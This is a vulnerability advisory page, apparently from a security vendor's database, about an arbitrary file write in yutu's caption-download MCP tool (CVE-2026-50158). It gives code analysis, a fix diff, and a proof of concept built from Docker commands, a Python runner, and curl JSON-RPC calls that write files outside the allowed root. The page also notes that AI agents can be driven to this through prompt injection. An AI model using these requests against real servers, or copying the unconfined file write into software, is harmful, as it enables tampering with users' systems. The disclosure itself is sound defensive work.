Vulnerability Database

362,176

Total vulnerabilities in the database

CVE-2026-50158 — github.com/eat-pray-ai/yutu

External Control of File Name or Path

Arbitrary File Write via MCP caption-download Tool

Summary

The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.

Details

yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:

| Method | Sink | Confined? | |--------|------|-----------| | Caption.Insert() | pkg.Root.Open(c.File) (caption.go:109) | Yes | | Caption.Update() | pkg.Root.Open(c.File) (caption.go:193) | Yes | | Caption.Download() | os.Create(c.File) (caption.go:272) | No |

Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:

  1. Source — cmd/caption/download.go:32–41: downloadInSchema declares file as a required string field in the MCP JSON input schema.
  2. Binding — cmd/caption/download.go:61–64: cobramcp.GenToolHandler maps MCP input to input.Download(writer).
  3. Sink — pkg/caption/caption.go:272: os.Create(c.File) creates or truncates the file at the attacker-supplied path.
  4. Write — pkg/caption/caption.go:280: file.Write(body) writes the downloaded caption bytes to that path.
// cmd/caption/download.go var downloadInSchema = &jsonschema.Schema{ Required: []string{"ids", "file"}, // line 34 // ... "file": {Type: "string", Description: fileUsage}, // line 40 } // cobramcp.GenToolHandler binds MCP → handler (line 61-64) cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error { return input.Download(writer) }) // pkg/caption/caption.go body, err := io.ReadAll(res.Body) // line 267 file, err := os.Create(c.File) // line 272 ← unconfined sink // ... _, err = file.Write(body) // line 280

The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.

Recommended fix:

--- a/pkg/caption/caption.go +++ b/pkg/caption/caption.go @@ - file, err := os.Create(c.File) + file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return errors.Join(errDownloadCaption, err) }

PoC

Prerequisites:

  • yutu 0.0.0-dev / commit 351c99d
  • Valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN available
  • yutu MCP server running in HTTP mode

Docker-based reproduction (no live credentials needed):

The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.

# From the report workspace root: docker build --no-cache -t yutu-vuln001-poc \ -f vuln-001/Dockerfile \ reports/mcp_49_eat-pray-ai__yutu docker run --rm yutu-vuln001-poc

Expected output confirms:

  • pkg.Root.Open("/tmp/poc-arbitrary-write.txt") is correctly rejected with path escapes from parent (control).
  • caption.Download() with file="/tmp/poc-arbitrary-write.txt" succeeds and creates a 79-byte file outside YUTU_ROOT (exploit).

Live MCP server reproduction:

# Start the HTTP MCP server (no auth by default) yutu mcp --mode http --port 8216 # Initialise session curl -sD /tmp/yutu.headers \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \ >/tmp/yutu.init SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r') # Exploit: write caption to arbitrary path # Replace CAPTION_ID with a caption id accessible by the configured token curl -s \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ ${SID:+-H "Mcp-Session-Id: $SID"} \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}' # Verify file was written outside YUTU_ROOT test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Impact

This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.

Potential consequences include:

  • Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
  • Corrupting log files or database files to cause denial of service.
  • Writing web-accessible files in deployments where yutu runs alongside a web server.
  • Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the file parameter is fully attacker-controlled with no guardrails.

Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.

Reproduction artifacts

Dockerfile

# VULN-001 PoC Dockerfile # Build con: reports/mcp_49_eat-pray-ai__yutu/ # repo/ - the cloned yutu repository # vuln-001/ - this workspace (Dockerfile, poc_main.go) FROM golang:1.26 AS builder WORKDIR /build # Copy the yutu source tree (provides the vulnerable packages) COPY repo/ . # Inject PoC as a new command package (does not modify existing source) RUN mkdir -p cmd/poc_exploit COPY vuln-001/poc_main.go cmd/poc_exploit/main.go # Build the PoC binary (static, no CGO needed) RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/ # ── Runtime stage ────────────────────────────────────────────────────────── FROM debian:12-slim COPY --from=builder /poc /poc # YUTU_ROOT defines the pkg.Root confinement boundary. # The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root, # demonstrating the os.Create bypass. ENV YUTU_ROOT=/tmp/yutu_safe_root RUN mkdir -p /tmp/yutu_safe_root CMD ["/poc"]

poc.py

#!/usr/bin/env python3 """ VULN-001 PoC Runner Exploit: Arbitrary File Write via MCP caption-download (CWE-73) Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement Usage: python3 poc.py """ import os import subprocess import sys VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") IMAGE_NAME = "yutu-vuln001-poc" def run(cmd, check=False, **kwargs): print("$ " + " ".join(str(a) for a in cmd)) result = subprocess.run(cmd, =True, **kwargs) return result def main(): print("=" * 70) print("VULN-001: Arbitrary File Write via MCP caption-download") print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)") print("=" * 70) # ── Build ──────────────────────────────────────────────────────────────── build_cmd = [ "docker", "build", "--no-cache", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR, ] print("\n[Step 1] Building Docker image ...") result = run(build_cmd, capture_output=False) if result.returncode != 0: print("\n[FAIL] Docker build failed.", file=sys.stderr) sys.exit(1) # ── Run ────────────────────────────────────────────────────────────────── run_cmd = ["docker", "run", "--rm", IMAGE_NAME] print("\n[Step 2] Running PoC container ...") result = run(run_cmd, capture_output=True) stdout = result.stdout or "" stderr = result.stderr or "" print(stdout, end="") if stderr: print(stderr, end="", file=sys.stderr) # ── Verdict ────────────────────────────────────────────────────────────── passed = ( result.returncode == 0 and "VULNERABILITY CONFIRMED" in stdout and "PASS" in stdout and "os.Create bypasses pkg.Root" in stdout ) if passed: print("\n[RESULT] PASS – vulnerability dynamically reproduced.") else: print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()

CVSS v3:

  • Severity: High
  • Score: 7.7
  • AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWEs:

Software From Fixed in
Go icon github.com/eat-pray-ai/yutu - 0.10.9-dev1

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.